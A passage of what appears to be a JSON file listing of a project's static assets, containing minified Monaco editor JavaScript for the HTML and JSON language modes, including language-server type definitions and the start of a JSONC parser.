Object.defineProperty(e.prototype,\"triggerCharacters\",{get:function(){return[\".\",\":\",\"<\",'\"',\"=\",\"/\"]},enumerable:!0,configurable:!0}),e.prototype.provideCompletionItems=function(e,t,n){var r=(e.getWordUntilPosition(t),e.uri);return f(n,this._worker(r).then(function(e){return e.doComplete(r.toString(),i(t))}).then(function(e){if(e){var t=e.items.map(function(e){var t={label:e.label,insertText:e.insertText,sortText:e.sortText,filterText:e.filterText,documentation:e.documentation,detail:e.detail,kind:u(e.kind)};return e.textEdit&&(t.range=a(e.textEdit.range),t.insertText=e.textEdit.newText),e.insertTextFormat===l.InsertTextFormat.Snippet&&(t.insertText={value:t.insertText}),t});return{isIncomplete:e.isIncomplete,items:t}}}))},e}();t.CompletionAdapter=p;var h=function(){function e(e){this._worker=e}return e.prototype.provideDocumentHighlights=function(e,t,n){var r=e.uri;return f(n,this._worker(r).then(function(e){return e.findDocumentHighlights(r.toString(),i(t))}).then(function(e){if(e)return e.map(function(e){return{range:a(e.range),kind:c(e.kind)}})}))},e}();t.DocumentHighlightAdapter=h;var v=function(){function e(e){this._worker=e}return e.prototype.provideLinks=function(e,t){var n=e.uri;return f(t,this._worker(n).then(function(e){return e.findDocumentLinks(n.toString())}).then(function(e){if(e)return e.map(function(e){return{range:a(e.range),url:e.target}})}))},e}();t.DocumentLinkAdapter=v;var _=function(){function e(e){this._worker=e}return e.prototype.provideDocumentFormattingEdits=function(e,t,n){var r=e.uri;return f(n,this._worker(r).then(function(e){return e.format(r.toString(),null,d(t)).then(function(e){if(e&&0!==e.length)return e.map(s)})}))},e}();t.DocumentFormattingEditProvider=_;var y=function(){function e(e){this._worker=e}return e.prototype.provideDocumentRangeFormattingEdits=function(e,t,n,r){var i=e.uri;return f(r,this._worker(i).then(function(e){return e.format(i.toString(),o(t),d(n)).then(function(e){if(e&&0!==e.length)return e.map(s)})}))},e}();t.DocumentRangeFormattingEditProvider=y}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/html/htmlMode\",[\"require\",\"exports\",\"./workerManager\",\"./languageFeatures\"],e)}(function(e,t){function n(e){var t=[],n=new r.WorkerManager(e);t.push(n);var o=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return n.getLanguageServiceWorker.apply(n,e)},a=e.languageId;t.push(monaco.languages.registerCompletionItemProvider(a,new i.CompletionAdapter(o))),t.push(monaco.languages.registerDocumentHighlightProvider(a,new i.DocumentHighlightAdapter(o))),t.push(monaco.languages.registerLinkProvider(a,new i.DocumentLinkAdapter(o))),\"html\"===a&&(t.push(monaco.languages.registerDocumentFormattingEditProvider(a,new i.DocumentFormattingEditProvider(o))),t.push(monaco.languages.registerDocumentRangeFormattingEditProvider(a,new i.DocumentRangeFormattingEditProvider(o))),t.push(new i.DiagnostcsAdapter(a,o)))}Object.defineProperty(t,\"__esModule\",{value:!0});var r=e(\"./workerManager\"),i=e(\"./languageFeatures\");t.setupMode=n});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/language/json/jsonMode.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-json version: 1.3.2(63d6dadc9cc5928c83a232dd95cdc31403f08974)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-json/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\n!function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/json/workerManager\",[\"require\",\"exports\"],e)}(function(e,n){function t(e){var n,t,o=new r(function(e,r){n=e,t=r},function(){});return e.then(n,t),o}Object.defineProperty(n,\"__esModule\",{value:!0});var r=monaco.Promise,o=12e4,i=function(){function e(e){var n=this;this._defaults=e,this._worker=null,this._idleCheckInterval=setInterval(function(){return n._checkIfIdle()},3e4),this._lastUsedTime=0,this._configChangeListener=this._defaults.onDidChange(function(){return n._stopWorker()})}return e.prototype._stopWorker=function(){this._worker&&(this._worker.dispose(),this._worker=null),this._client=null},e.prototype.dispose=function(){clearInterval(this._idleCheckInterval),this._configChangeListener.dispose(),this._stopWorker()},e.prototype._checkIfIdle=function(){if(this._worker){var e=Date.now()-this._lastUsedTime;e>o&&this._stopWorker()}},e.prototype._getClient=function(){return this._lastUsedTime=Date.now(),this._client||(this._worker=monaco.editor.createWebWorker({moduleId:\"vs/language/json/jsonWorker\",label:this._defaults.languageId,createData:{languageSettings:this._defaults.diagnosticsOptions,languageId:this._defaults.languageId}}),this._client=this._worker.getProxy()),this._client},e.prototype.getLanguageServiceWorker=function(){for(var e=this,n=[],r=0;r<arguments.length;r++)n[r]=arguments[r];var o;return t(this._getClient().then(function(e){o=e}).then(function(t){return e._worker.withSyncedResources(n)}).then(function(e){return o}))},e}();n.WorkerManager=i}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vscode-languageserver-types/main\",[\"require\",\"exports\"],e)}(function(e,n){Object.defineProperty(n,\"__esModule\",{value:!0});var t;!function(e){function n(e,n){return{line:e,character:n}}function t(e){var n=e;return A.defined(n)&&A.number(n.line)&&A.number(n.character)}e.create=n,e.is=t}(t=n.Position||(n.Position={}));var r;!function(e){function n(e,n,r,o){if(A.number(e)&&A.number(n)&&A.number(r)&&A.number(o))return{start:t.create(e,n),end:t.create(r,o)};if(t.is(e)&&t.is(n))return{start:e,end:n};throw new Error(\"Range#create called with invalid arguments[\"+e+\", \"+n+\", \"+r+\", \"+o+\"]\")}function r(e){var n=e;return A.defined(n)&&t.is(n.start)&&t.is(n.end)}e.create=n,e.is=r}(r=n.Range||(n.Range={}));var o;!function(e){function n(e,n){return{uri:e,range:n}}function t(e){var n=e;return A.defined(n)&&r.is(n.range)&&(A.string(n.uri)||A.undefined(n.uri))}e.create=n,e.is=t}(o=n.Location||(n.Location={}));var i;!function(e){e.Error=1,e.Warning=2,e.Information=3,e.Hint=4}(i=n.DiagnosticSeverity||(n.DiagnosticSeverity={}));var a;!function(e){function n(e,n,t,r,o){var i={range:e,message:n};return A.defined(t)&&(i.severity=t),A.defined(r)&&(i.code=r),A.defined(o)&&(i.source=o),i}function t(e){var n=e;return A.defined(n)&&r.is(n.range)&&A.string(n.message)&&(A.number(n.severity)||A.undefined(n.severity))&&(A.number(n.code)||A.string(n.code)||A.undefined(n.code))&&(A.string(n.source)||A.undefined(n.source))}e.create=n,e.is=t}(a=n.Diagnostic||(n.Diagnostic={}));var c;!function(e){function n(e,n){for(var t=[],r=2;r<arguments.length;r++)t[r-2]=arguments[r];var o={title:e,command:n};return A.defined(t)&&t.length>0&&(o.arguments=t),o}function t(e){var n=e;return A.defined(n)&&A.string(n.title)&&A.string(n.title)}e.create=n,e.is=t}(c=n.Command||(n.Command={}));var u;!function(e){function n(e,n){return{range:e,newText:n}}function t(e,n){return{range:{start:e,end:e},newText:n}}function r(e){return{range:e,newText:\"\"}}e.replace=n,e.insert=t,e.del=r}(u=n.TextEdit||(n.TextEdit={}));var s;!function(e){function n(e,n){return{textDocument:e,edits:n}}function t(e){var n=e;return A.defined(n)&&p.is(n.textDocument)&&Array.isArray(n.edits)}e.create=n,e.is=t}(s=n.TextDocumentEdit||(n.TextDocumentEdit={}));var d=function(){function e(e){this.edits=e}return e.prototype.insert=function(e,n){this.edits.push(u.insert(e,n))},e.prototype.replace=function(e,n){this.edits.push(u.replace(e,n))},e.prototype[\"delete\"]=function(e){this.edits.push(u.del(e))},e.prototype.add=function(e){this.edits.push(e)},e.prototype.all=function(){return this.edits},e.prototype.clear=function(){this.edits.splice(0,this.edits.length)},e}(),l=function(){function e(e){var n=this;this._textEditChanges=Object.create(null),e&&(this._workspaceEdit=e,e.documentChanges?e.documentChanges.forEach(function(e){var t=new d(e.edits);n._textEditChanges[e.textDocument.uri]=t}):e.changes&&Object.keys(e.changes).forEach(function(t){var r=new d(e.changes[t]);n._textEditChanges[t]=r}))}return Object.defineProperty(e.prototype,\"edit\",{get:function(){return this._workspaceEdit},enumerable:!0,configurable:!0}),e.prototype.getTextEditChange=function(e){if(p.is(e)){if(this._workspaceEdit||(this._workspaceEdit={documentChanges:[]}),!this._workspaceEdit.documentChanges)throw new Error(\"Workspace edit is not configured for versioned document changes.\");var n=e,t=this._textEditChanges[n.uri];if(!t){var r=[],o={textDocument:n,edits:r};this._workspaceEdit.documentChanges.push(o),t=new d(r),this._textEditChanges[n.uri]=t}return t}if(this._workspaceEdit||(this._workspaceEdit={changes:Object.create(null)}),!this._workspaceEdit.changes)throw new Error(\"Workspace edit is not configured for normal text edit changes.\");var t=this._textEditChanges[e];if(!t){var r=[];this._workspaceEdit.changes[e]=r,t=new d(r),this._textEditChanges[e]=t}return t},e}();n.WorkspaceChange=l;var f;!function(e){function n(e){return{uri:e}}function t(e){var n=e;return A.defined(n)&&A.string(n.uri)}e.create=n,e.is=t}(f=n.TextDocumentIdentifier||(n.TextDocumentIdentifier={}));var p;!function(e){function n(e,n){return{uri:e,version:n}}function t(e){var n=e;return A.defined(n)&&A.string(n.uri)&&A.number(n.version)}e.create=n,e.is=t}(p=n.VersionedTextDocumentIdentifier||(n.VersionedTextDocumentIdentifier={}));var m;!function(e){function n(e,n,t,r){return{uri:e,languageId:n,version:t,text:r}}function t(e){var n=e;return A.defined(n)&&A.string(n.uri)&&A.string(n.languageId)&&A.number(n.version)&&A.string(n.text)}e.create=n,e.is=t}(m=n.TextDocumentItem||(n.TextDocumentItem={}));var g;!function(e){e.Text=1,e.Method=2,e.Function=3,e.Constructor=4,e.Field=5,e.Variable=6,e.Class=7,e.Interface=8,e.Module=9,e.Property=10,e.Unit=11,e.Value=12,e.Enum=13,e.Keyword=14,e.Snippet=15,e.Color=16,e.File=17,e.Reference=18}(g=n.CompletionItemKind||(n.CompletionItemKind={}));var h;!function(e){e.PlainText=1,e.Snippet=2}(h=n.InsertTextFormat||(n.InsertTextFormat={}));var v;!function(e){function n(e){return{label:e}}e.create=n}(v=n.CompletionItem||(n.CompletionItem={}));var y;!function(e){function n(e,n){return{items:e?e:[],isIncomplete:!!n}}e.create=n}(y=n.CompletionList||(n.CompletionList={}));var k;!function(e){function n(e){return e.replace(/[\\\\`*_{}[\\]()#+\\-.!]/g,\"\\\\$&\")}e.fromPlainText=n}(k=n.MarkedString||(n.MarkedString={}));var C;!function(e){function n(e,n){return n?{label:e,documentation:n}:{label:e}}e.create=n}(C=n.ParameterInformation||(n.ParameterInformation={}));var b;!function(e){function n(e,n){for(var t=[],r=2;r<arguments.length;r++)t[r-2]=arguments[r];var o={label:e};return A.defined(n)&&(o.documentation=n),A.defined(t)?o.parameters=t:o.parameters=[],o}e.create=n}(b=n.SignatureInformation||(n.SignatureInformation={}));var E;!function(e){e.Text=1,e.Read=2,e.Write=3}(E=n.DocumentHighlightKind||(n.DocumentHighlightKind={}));var T;!function(e){function n(e,n){var t={range:e};return A.number(n)&&(t.kind=n),t}e.create=n}(T=n.DocumentHighlight||(n.DocumentHighlight={}));var x;!function(e){e.File=1,e.Module=2,e.Namespace=3,e.Package=4,e.Class=5,e.Method=6,e.Property=7,e.Field=8,e.Constructor=9,e.Enum=10,e.Interface=11,e.Function=12,e.Variable=13,e.Constant=14,e.String=15,e.Number=16,e.Boolean=17,e.Array=18}(x=n.SymbolKind||(n.SymbolKind={}));var _;!function(e){function n(e,n,t,r,o){var i={name:e,kind:n,location:{uri:r,range:t}};return o&&(i.containerName=o),i}e.create=n}(_=n.SymbolInformation||(n.SymbolInformation={}));var S;!function(e){function n(e){return{diagnostics:e}}function t(e){var n=e;return A.defined(n)&&A.typedArray(n.diagnostics,a.is)}e.create=n,e.is=t}(S=n.CodeActionContext||(n.CodeActionContext={}));var O;!function(e){function n(e,n){var t={range:e};return A.defined(n)&&(t.data=n),t}function t(e){var n=e;return A.defined(n)&&r.is(n.range)&&(A.undefined(n.command)||c.is(n.command))}e.create=n,e.is=t}(O=n.CodeLens||(n.CodeLens={}));var w;!function(e){function n(e,n){return{tabSize:e,insertSpaces:n}}function t(e){var n=e;return A.defined(n)&&A.number(n.tabSize)&&A[\"boolean\"](n.insertSpaces)}e.create=n,e.is=t}(w=n.FormattingOptions||(n.FormattingOptions={}));var I=function(){function e(){}return e}();n.DocumentLink=I,function(e){function n(e,n){return{range:e,target:n}}function t(e){var n=e;return A.defined(n)&&r.is(n.range)&&(A.undefined(n.target)||A.string(n.target))}e.create=n,e.is=t}(I=n.DocumentLink||(n.DocumentLink={})),n.DocumentLink=I,n.EOL=[\"\\n\",\"\\r\\n\",\"\\r\"];var K;!function(e){function n(e,n,t,r){return new L(e,n,t,r)}function t(e){var n=e;return!!(A.defined(n)&&A.string(n.uri)&&(A.undefined(n.languageId)||A.string(n.languageId))&&A.number(n.lineCount)&&A.func(n.getText)&&A.func(n.positionAt)&&A.func(n.offsetAt))}e.create=n,e.is=t}(K=n.TextDocument||(n.TextDocument={}));var N;!function(e){e.Manual=1,e.AfterDelay=2,e.FocusOut=3}(N=n.TextDocumentSaveReason||(n.TextDocumentSaveReason={}));var A,L=function(){function e(e,n,t,r){this._uri=e,this._languageId=n,this._version=t,this._content=r,this._lineOffsets=null}return Object.defineProperty(e.prototype,\"uri\",{get:function(){return this._uri},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"languageId\",{get:function(){return this._languageId},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"version\",{get:function(){return this._version},enumerable:!0,configurable:!0}),e.prototype.getText=function(){return this._content},e.prototype.update=function(e,n){this._content=e.text,this._version=n,this._lineOffsets=null},e.prototype.getLineOffsets=function(){if(null===this._lineOffsets){for(var e=[],n=this._content,t=!0,r=0;r<n.length;r++){t&&(e.push(r),t=!1);var o=n.charAt(r);t=\"\\r\"===o||\"\\n\"===o,\"\\r\"===o&&r+1<n.length&&\"\\n\"===n.charAt(r+1)&&r++}t&&n.length>0&&e.push(n.length),this._lineOffsets=e}return this._lineOffsets},e.prototype.positionAt=function(e){e=Math.max(Math.min(e,this._content.length),0);var n=this.getLineOffsets(),r=0,o=n.length;if(0===o)return t.create(0,e);for(;r<o;){var i=Math.floor((r+o)/2);n[i]>e?o=i:r=i+1}var a=r-1;return t.create(a,e-n[a])},e.prototype.offsetAt=function(e){var n=this.getLineOffsets();if(e.line>=n.length)return this._content.length;if(e.line<0)return 0;var t=n[e.line],r=e.line+1<n.length?n[e.line+1]:this._content.length;return Math.max(Math.min(t+e.character,r),t)},Object.defineProperty(e.prototype,\"lineCount\",{get:function(){return this.getLineOffsets().length},enumerable:!0,configurable:!0}),e}();!function(e){function n(e){return\"undefined\"!=typeof e}function t(e){return\"undefined\"==typeof e}function r(e){return e===!0||e===!1}function o(e){return\"[object String]\"===u.call(e)}function i(e){return\"[object Number]\"===u.call(e)}function a(e){return\"[object Function]\"===u.call(e)}function c(e,n){return Array.isArray(e)&&e.every(n)}var u=Object.prototype.toString;e.defined=n,e.undefined=t,e[\"boolean\"]=r,e.string=o,e.number=i,e.func=a,e.typedArray=c}(A||(A={}))}),define(\"vscode-languageserver-types\",[\"vscode-languageserver-types/main\"],function(e){return e}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/json/languageFeatures\",[\"require\",\"exports\",\"vscode-languageserver-types\"],e)}(function(e,n){function t(e){switch(e){case m.DiagnosticSeverity.Error:return monaco.Severity.Error;case m.DiagnosticSeverity.Warning:return monaco.Severity.Warning;case m.DiagnosticSeverity.Information:case m.DiagnosticSeverity.Hint:default:return monaco.Severity.Info}}function r(e,n){var r=\"number\"==typeof n.code?String(n.code):n.code;return{severity:t(n.severity),startLineNumber:n.range.start.line+1,startColumn:n.range.start.character+1,endLineNumber:n.range.end.line+1,endColumn:n.range.end.character+1,message:n.message,code:r,source:n.source}}function o(e){if(e)return{character:e.column-1,line:e.lineNumber-1}}function i(e){if(e)return{start:o(e.getStartPosition()),end:o(e.getEndPosition())}}function a(e){if(e)return new h(e.start.line+1,e.start.character+1,e.end.line+1,e.end.character+1)}function c(e){var n=monaco.languages.CompletionItemKind;switch(e){case m.CompletionItemKind.Text:return n.Text;case m.CompletionItemKind.Method:return n.Method;case m.CompletionItemKind.Function:return n.Function;case m.CompletionItemKind.Constructor:return n.Constructor;case m.CompletionItemKind.Field:return n.Field;case m.CompletionItemKind.Variable:return n.Variable;case m.CompletionItemKind.Class:return n.Class;case m.CompletionItemKind.Interface:return n.Interface;case m.CompletionItemKind.Module:return n.Module;case m.CompletionItemKind.Property:return n.Property;case m.CompletionItemKind.Unit:return n.Unit;case m.CompletionItemKind.Value:return n.Value;case m.CompletionItemKind.Enum:return n.Enum;case m.CompletionItemKind.Keyword:return n.Keyword;case m.CompletionItemKind.Snippet:return n.Snippet;case m.CompletionItemKind.Color:return n.Color;case m.CompletionItemKind.File:return n.File;case m.CompletionItemKind.Reference:return n.Reference}return n.Property}function u(e){if(e)return{range:a(e.range),text:e.newText}}function s(e){if(e)return Array.isArray(e)?e:[e]}function d(e){return{uri:g.parse(e.uri),range:a(e.range)}}function l(e){var n=monaco.languages.SymbolKind;switch(e){case m.SymbolKind.File:return n.Array;case m.SymbolKind.Module:return n.Module;case m.SymbolKind.Namespace:return n.Namespace;case m.SymbolKind.Package:return n.Package;case m.SymbolKind.Class:return n.Class;case m.SymbolKind.Method:return n.Method;case m.SymbolKind.Property:return n.Property;case m.SymbolKind.Field:return n.Field;case m.SymbolKind.Constructor:return n.Constructor;case m.SymbolKind.Enum:return n.Enum;case m.SymbolKind.Interface:return n.Interface;case m.SymbolKind.Function:return n.Function;case m.SymbolKind.Variable:return n.Variable;case m.SymbolKind.Constant:return n.Constant;case m.SymbolKind.String:return n.String;case m.SymbolKind.Number:return n.Number;case m.SymbolKind.Boolean:return n.Boolean;case m.SymbolKind.Array:return n.Array}return n.Function}function f(e){return{tabSize:e.tabSize,insertSpaces:e.insertSpaces}}function p(e,n){return n.cancel&&e.onCancellationRequested(function(){return n.cancel()}),n}Object.defineProperty(n,\"__esModule\",{value:!0});var m=e(\"vscode-languageserver-types\"),g=monaco.Uri,h=monaco.Range,v=function(){function e(e,n){var t=this;this._languageId=e,this._worker=n,this._disposables=[],this._listener=Object.create(null);var r=function(e){var n=e.getModeId();if(n===t._languageId){var r;t._listener[e.uri.toString()]=e.onDidChangeContent(function(){clearTimeout(r),r=setTimeout(function(){return t._doValidate(e.uri,n)},500)}),t._doValidate(e.uri,n)}},o=function(e){monaco.editor.setModelMarkers(e,t._languageId,[]);var n=e.uri.toString(),r=t._listener[n];r&&(r.dispose(),delete t._listener[n])};this._disposables.push(monaco.editor.onDidCreateModel(r)),this._disposables.push(monaco.editor.onWillDisposeModel(function(e){o(e),t._resetSchema(e.uri)})),this._disposables.push(monaco.editor.onDidChangeModelLanguage(function(e){o(e.model),r(e.model),t._resetSchema(e.model.uri)})),this._disposables.push({dispose:function(){for(var e in t._listener)t._listener[e].dispose()}}),monaco.editor.getModels().forEach(r)}return e.prototype.dispose=function(){this._disposables.forEach(function(e){return e&&e.dispose()}),this._disposables=[]},e.prototype._resetSchema=function(e){this._worker().then(function(n){n.resetSchema(e.toString())})},e.prototype._doValidate=function(e,n){this._worker(e).then(function(t){return t.doValidation(e.toString()).then(function(t){var o=t.map(function(n){return r(e,n)}),i=monaco.editor.getModel(e);i.getModeId()===n&&monaco.editor.setModelMarkers(i,n,o)})}).then(void 0,function(e){console.error(e)})},e}();n.DiagnostcsAdapter=v;var y=function(){function e(e){this._worker=e}return Object.defineProperty(e.prototype,\"triggerCharacters\",{get:function(){return[\" \",\":\"]},enumerable:!0,configurable:!0}),e.prototype.provideCompletionItems=function(e,n,t){var r=(e.getWordUntilPosition(n),e.uri);return p(t,this._worker(r).then(function(e){return e.doComplete(r.toString(),o(n))}).then(function(e){if(e){var n=e.items.map(function(e){var n={label:e.label,insertText:e.insertText,sortText:e.sortText,filterText:e.filterText,documentation:e.documentation,detail:e.detail,kind:c(e.kind)};return e.textEdit&&(n.range=a(e.textEdit.range),n.insertText=e.textEdit.newText),e.insertTextFormat===m.InsertTextFormat.Snippet&&(n.insertText={value:n.insertText}),n});return{isIncomplete:e.isIncomplete,items:n}}}))},e}();n.CompletionAdapter=y;var k=function(){function e(e){this._worker=e}return e.prototype.provideHover=function(e,n,t){var r=e.uri;return p(t,this._worker(r).then(function(e){return e.doHover(r.toString(),o(n))}).then(function(e){if(e)return{range:a(e.range),contents:s(e.contents)}}))},e}();n.HoverAdapter=k;var C=function(){function e(e){this._worker=e}return e.prototype.provideDocumentSymbols=function(e,n){var t=e.uri;return p(n,this._worker(t).then(function(e){return e.findDocumentSymbols(t.toString())}).then(function(e){if(e)return e.map(function(e){return{name:e.name,containerName:e.containerName,kind:l(e.kind),location:d(e.location)}})}))},e}();n.DocumentSymbolAdapter=C;var b=function(){function e(e){this._worker=e}return e.prototype.provideDocumentFormattingEdits=function(e,n,t){var r=e.uri;return p(t,this._worker(r).then(function(e){return e.format(r.toString(),null,f(n)).then(function(e){if(e&&0!==e.length)return e.map(u)})}))},e}();n.DocumentFormattingEditProvider=b;var E=function(){function e(e){this._worker=e}return e.prototype.provideDocumentRangeFormattingEdits=function(e,n,t,r){var o=e.uri;return p(r,this._worker(o).then(function(e){return e.format(o.toString(),i(n),f(t)).then(function(e){if(e&&0!==e.length)return e.map(u)})}))},e}();n.DocumentRangeFormattingEditProvider=E}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vscode-nls/vscode-nls\",[\"require\",\"exports\"],e)}(function(e,n){function t(e,n){var t;return t=0===n.length?e:e.replace(/\\{(\\d+)\\}/g,function(e,t){var r=t[0];return\"undefined\"!=typeof n[r]?n[r]:e})}function r(e,n){for(var r=[],o=2;o<arguments.length;o++)r[o-2]=arguments[o];return t(n,r)}function o(e){return r}function i(e){return o}Object.defineProperty(n,\"__esModule\",{value:!0}),n.loadMessageBundle=o,n.config=i}),define(\"vscode-nls\",[\"vscode-nls/vscode-nls\"],function(e){return e}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"jsonc-parser/main\",[\"require\",\"exports\",\"vscode-nls\"],e)}(function(e,n){function t(e,n){function t(n,t){for(var r=0,o=0;r<n||!t;){var i=e.charCodeAt(f);if(i>=48&&i<=57)o=16*o+i-48;else if(i>=65&&i<=70)o=16*o+i-65+10;else{if(!(i>=97&&i<=102))break;o=16*o+i-97+10}f++,r++}return r<n&&(o=-1),o}function a(e){f=e,m=\"\",h=0,v=y.Unknown,k=g.None}function c(){var n=f;if(48===e.charCodeAt(f))f++;else for(f++;f<e.length&&i(e.charCodeAt(f));)f++;if(f<e.length&&46===e.charCodeAt(f)){if(f++,!(f<e.length&&i(e.charCodeAt(f))))return k=g.UnexpectedEndOfNumber,e.substring(n,f);for(f++;f<e.length&&i(e.charCodeAt(f));)f++}var t=f;if(f<e.length&&(69===e.charCodeAt(f)||101===e.charCodeAt(f)))if(f++,(f<e.length&&43===e.charCodeAt(f)||45===e.charCodeAt(f))&&f++,f<e.length&&i(e.charCodeAt(f))){for(f++;f<e.length&&i(e.charCodeAt(f));)f++;t=f}else k=g.UnexpectedEndOfNumber;return e.substring(n,t)}function u(){for(var n=\"\",r=f;;){if(f>=p){n+=e.substring(r,f),k=g.UnexpectedEndOfString;break}var i=e.charCodeAt(f);if(34===i){n+=e.substring(r,f),f++;break}if(92!==i){if(i>=0&&i<=31){if(o(i)){n+=e.substring(r,f),k=g.UnexpectedEndOfString;break}k=g.InvalidCharacter}f++}else{if(n+=e.substring(r,f),f++,f>=p){k=g.UnexpectedEndOfString;break}switch(i=e.charCodeAt(f++)){case 34:n+='\"';break;case 92:n+=\"\\\\\";break;case 47:n+=\"/\";break;case 98:n+=\"\\b\";break;case 102:n+=\"\\f\";break;case 110:n+=\"\\n\";break;case 114:n+=\"\\r\";break;case 116:n+=\"\\t\";break;case 117:var a=t(4,!0);a>=0?n+=String.fromCharCode(a):k=g.InvalidUnicode;break;default:k=g.InvalidEscapeCharacter}r=f}}return n}function s(){if(m=\"\",k=g.None,h=f,f>=p)return h=p,v=y.EOF;var n=e.charCodeAt(f);if(r(n)){do f++,m+=String.fromCharCode(n),n=e.charCodeAt(f);while(r(n));return v=y.Trivia}if(o(n))return f++,m+=String.fromCharCode(n),13===n&&10===e.charCodeAt(f)&&(f++,m+=\"\\n\"),v=y.LineBreakTrivia;switch(n){case 123:return f++,v=y.OpenBraceToken;case 125:return f++,v=y.CloseBraceToken;case 91:return f++,v=y.OpenBracketToken;case 93:return f++,v=y.CloseBracketToken;case 58:return f++,v=y.ColonToken;case 44:return f++,v=y.CommaToken;case 34:return f++,m=u(),v=y.StringLiteral;case 47:var t=f-1;if(47===e.charCodeAt(f+1)){for(f+=2;f<p&&!o(e.charCodeAt(f));)f++;return m=e.substring(t,f),v=y.LineCommentTrivia}if(42===e.charCodeAt(f+1)){f+=2;for(var a=p-1,s=!1;f<a;){var l=e.charCodeAt(f);if(42===l&&47===e.charCodeAt(f+1)){f+=2,s=!0;break}f++}return s||(f++,k=g.UnexpectedEndOfComment),m=e.substring(t,f),v=y.BlockCommentTrivia}return m+=String.fromCharCode(n),f++,v=y.Unknown;case 45:if(m+=String.fromCharCode(n),f++,f===p||!i(e.charCodeAt(f)))return v=y.Unknown;case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:return m+=c(),v=y.NumericLiteral;default:for(;f<p&&d(n);)f++,n=e.charCodeAt(f);if(h!==f){switch(m=e.substring(h,f)){case\"true\":return v=y.TrueKeyword;case\"false\":return v=y.FalseKeyword;case\"null\":return v=y.NullKeyword}return v=y.Unknown}return m+=String.fromCharCode(n),f++,v=y.Unknown}}function d(e){if(r(e)||o(e))return!1;switch(e){case 125:case 93:case 123:case 91:case 34:case 58:case 44:return!1}return!0}function l(){var e;do e=s();while(e>=y.LineCommentTrivia&&e<=y.Trivia);return e}void 0===n&&(n=!1);var f=0,p=e.length,m=\"\",h=0,v=y.Unknown,k=g.None;return{setPosition:a,getPosition:function(){return f},scan:n?l:s,getToken:function(){return v},getTokenValue:function(){return m},getTokenOffset:function(){return h},getTokenLength:function(){return f-h},getTokenError:function(){return k}}}function r(e){return 32===e||9===e||11===e||12===e||160===e||5760===e||e>=8192&&e<=8203||8239===e||8287===e||12288===e||65279===e}function o(e){return 10===e||13===e||8232===e||8233===e}function i(e){return e>=48&&e<=57}function a(e,n){var r,o,i=t(e),a=[],c=0;do switch(o=i.getPosition(),r=i.scan()){case y.LineCommentTrivia:case y.BlockCommentTrivia:case y.EOF:c!==o&&a.push(e.substring(c,o)),void 0!==n&&a.push(i.getTokenValue().replace(/[^\\r\\n]/g,n)),c=i.getPosition()}while(r!==y.EOF);return a.join(\"\")}function c(e){switch(e){case k.InvalidSymbol:return v(\"error.invalidSymbol\",\"Invalid symbol\");case k.InvalidNumberFormat:return v(\"error.invalidNumberFormat\",\"Invalid number format\");case k.PropertyNameExpected:return v(\"error.propertyNameExpected\",\"Property name expected\");case k.ValueExpected:return v(\"error.valueExpected\",\"Value expected\");case k.ColonExpected:return v(\"error.colonExpected\",\"Colon expected\");case k.CommaExpected:return v(\"error.commaExpected\",\"Comma expected\");case k.CloseBraceExpected:return v(\"error.closeBraceExpected\",\"Closing brace expected\");case k.CloseBracketExpected:return v(\"error.closeBracketExpected\",\"Closing bracket expected\");case k.EndOfFileExpected:return v(\"error.endOfFileExpected\",\"End of file expected\");default:return\"\"}}function u(e){switch(typeof e){case\"boolean\":return\"boolean\";case\"number\":return\"number\";case\"string\":return\"string\";default:return\"null\"}}function s(e,n){function t(e,n,t,r){a.value=e,a.offset=n,a.length=t,a.type=r,a.columnOffset=void 0,i=a}var r=[],o=new Object,i=void 0,a={value:void 0,offset:void 0,length:void 0,type:void 0},c=!1;try{m(e,{onObjectBegin:function(e,t){if(n<=e)throw o;i=void 0,c=n>e,r.push(\"\")},onObjectProperty:function(e,i,a){if(n<i)throw o;if(t(e,i,a,\"property\"),r[r.length-1]=e,n<=i+a)throw o},onObjectEnd:function(e,t){if(n<=e)throw o;i=void 0,r.pop()},onArrayBegin:function(e,t){if(n<=e)throw o;i=void 0,r.push(0)},onArrayEnd:function(e,t){if(n<=e)throw o;i=void 0,r.pop()},onLiteralValue:function(e,r,i){if(n<r)throw o;if(t(e,r,i,u(e)),n<=r+i)throw o},onSeparator:function(e,t,a){if(n<=t)throw o;if(\":\"===e&&\"property\"===i.type)i.columnOffset=t,c=!1,i=void 0;else if(\",\"===e){var u=r[r.length-1];\"number\"==typeof u?r[r.length-1]=u+1:(c=!0,r[r.length-1]=\"\"),i=void 0}}})}catch(s){if(s!==o)throw s}return{path:r,previousNode:i,isAtPropertyKey:c,matches:function(e){for(var n=0,t=0;n<e.length&&t<r.length;t++)if(e[n]===r[t]||\"*\"===e[n])n++;else if(\"**\"!==e[n])return!1;return n===e.length}}}function d(e,n,t){function r(e){Array.isArray(i)?i.push(e):o&&(i[o]=e)}void 0===n&&(n=[]);var o=null,i=[],a=[],c={onObjectBegin:function(){var e={};r(e),a.push(i),i=e,o=null},onObjectProperty:function(e){o=e},onObjectEnd:function(){i=a.pop()},onArrayBegin:function(){var 